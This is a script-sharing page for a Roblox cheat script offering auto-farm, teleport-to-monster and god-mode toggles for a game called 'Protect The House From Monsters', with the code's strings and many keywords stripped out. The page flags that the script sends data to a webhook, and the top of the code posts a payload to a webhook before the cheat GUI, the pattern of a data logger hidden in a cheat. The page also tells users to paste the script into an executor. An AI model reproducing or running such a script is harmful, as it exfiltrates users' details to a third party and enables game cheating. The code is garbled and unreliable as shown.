Sends data to a webhook
It contains a Discord (or similar) webhook link. Loggers use these to send out your details.
Run it
Copy the script and paste it into your executor.
HttpService = :()
req = ( .request) ( .request)
webhook =
payload = {
content =
}
req
(()
({
Url = webhook,
Method = ,
Headers = {[] = },
Body = HttpService:(payload)
})
)
Players = :()
UIS = :()
StarterGui = :()
player = Players.LocalPlayer
backpack = player:()
weaponNames = { , }
autoFarm =
godMode =
attackSpeeds = {
Plank = ,
Sword = ,
}
monstersFolder = :()
character
(char)
character = char
.()
autoFarm
_, name (weaponNames)
found = backpack:(name)
found
found.Parent = character
(player.Character player.CharacterAdded:())
player.CharacterAdded:(onCharacterAdded)
playerGui = player:()
screenGui = .()
screenGui.Name =
screenGui.ResetOnSpawn =
screenGui.IgnoreGuiInset =
screenGui.ZIndexBehavior = .ZIndexBehavior.Sibling
screenGui.Parent = playerGui
openBtn = .()
openBtn.Size = .(, )
openBtn.Position = .(, , , )
openBtn.Text =
openBtn.TextScaled =
openBtn.BackgroundColor3 = .(, , )
openBtn.TextColor3 = .(, , )
openBtn.Visible =
openBtn.Parent = screenGui
.(, openBtn).CornerRadius = .(, )
main = .()
main.Name =
main.Size = .(, )
main.Position = .(, , , )
main.BackgroundColor3 = .(, , )
main.Parent = screenGui
.(, main).CornerRadius = .(, )
top = .()
top.Size = .(, , , )
top.BackgroundTransparency =
top.Parent = main
title = .()
title.Size = .(, -, , )
title.Position = .(, , , )
title.BackgroundTransparency =
title.Text =
title.TextXAlignment = .TextXAlignment.Left
title.Font = .Font.GothamBold
title.TextSize =
title.TextColor3 = .(, , )
title.Parent = top
closeBtn = .()
closeBtn.Size = .(, )
closeBtn.Position = .(, -, , )
closeBtn.Text =
closeBtn.BackgroundColor3 = .(, , )
closeBtn.TextColor3 = .(, , )
closeBtn.Parent = top
.(, closeBtn).CornerRadius = .(, )
container = .()
container.Size = .(, -, , -)
container.Position = .(, , , )
container.BackgroundTransparency =
container.Parent = main
(text)
btn = .()
btn.Size = .(, , , )
btn.BackgroundColor3 = .(, , )
btn.Text = text
btn.TextColor3 = .(, , )
btn.Font = .Font.GothamMedium
btn.TextSize =
.(, btn).CornerRadius = .(, )
btn
farmButton = ()
farmButton.Position = .(, , , )
farmButton.Parent = container
godButton = ()
godButton.Position = .(, , , )
godButton.TextColor3 = .(, , )
godButton.Parent = container
subBtn = ()
subBtn.Position = .(, , , )
subBtn.TextColor3 = .(, , )
subBtn.Parent = container
status = .()
status.Size = .(, , , )
status.Position = .(, , , )
status.BackgroundTransparency =
status.Text =
status.TextColor3 = .(, , )
status.Font = .Font.Gotham
status.TextSize =
status.TextXAlignment = .TextXAlignment.Left
status.Parent = container
(frame, handle)
dragging =
dragStart, startPos
handle.InputBegan:((input)
input.UserInputType == .UserInputType.MouseButton1
dragging =
dragStart = input.Position
startPos = frame.Position
input.Changed:(()
input.UserInputState == .UserInputState.End dragging =
)
)
UIS.InputChanged:((input)
dragging input.UserInputType == .UserInputType.MouseMovement
delta = input.Position - dragStart
frame.Position = .(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
)
(main, top)
closeBtn.MouseButton1Click:(()
main.Visible =
openBtn.Visible =
)
openBtn.MouseButton1Click:(()
main.Visible =
openBtn.Visible =
)
UIS.InputBegan:((input, gp)
gp input.KeyCode == .KeyCode.RightShift
main.Visible = main.Visible
openBtn.Visible = main.Visible
)
()
character
_, name (weaponNames)
tool = backpack:(name) character:(name)
tool tool:()
tool.Parent = character
tool
.(()
.()
autoFarm character
tool = character:()
tool
_, name (weaponNames)
found = backpack:(name)
found
found.Parent = character
)
()
character
hrp = character:()
hrp
closest, dist
_, monster (monstersFolder:())
monster:() monster:() monster.Humanoid.Health >
d = (hrp.Position - monster.HumanoidRootPart.Position).Magnitude
dist d
dist, closest = d, monster
closest
.(()
.()
autoFarm character
tool = character:() ()
tool attackSpeeds[tool.Name]
target = ()
target
character:().CFrame = target.HumanoidRootPart.CFrame + .(, , )
status.Text = .. target.Name
i = ,
tool:()
.(attackSpeeds[tool.Name])
status.Text =
()
status.Text =
)
.(()
.()
godMode character character:()
hum = character:()
hum.Health = hum.MaxHealth
)
farmButton.MouseButton1Click:(()
autoFarm = autoFarm
farmButton.Text = .. (autoFarm )
autoFarm ()
)
godButton.MouseButton1Click:(()
godMode = godMode
godButton.Text = .. (godMode )
)Auto teleport and kill monster ✅ God mode ❌

Protect The House From Monsters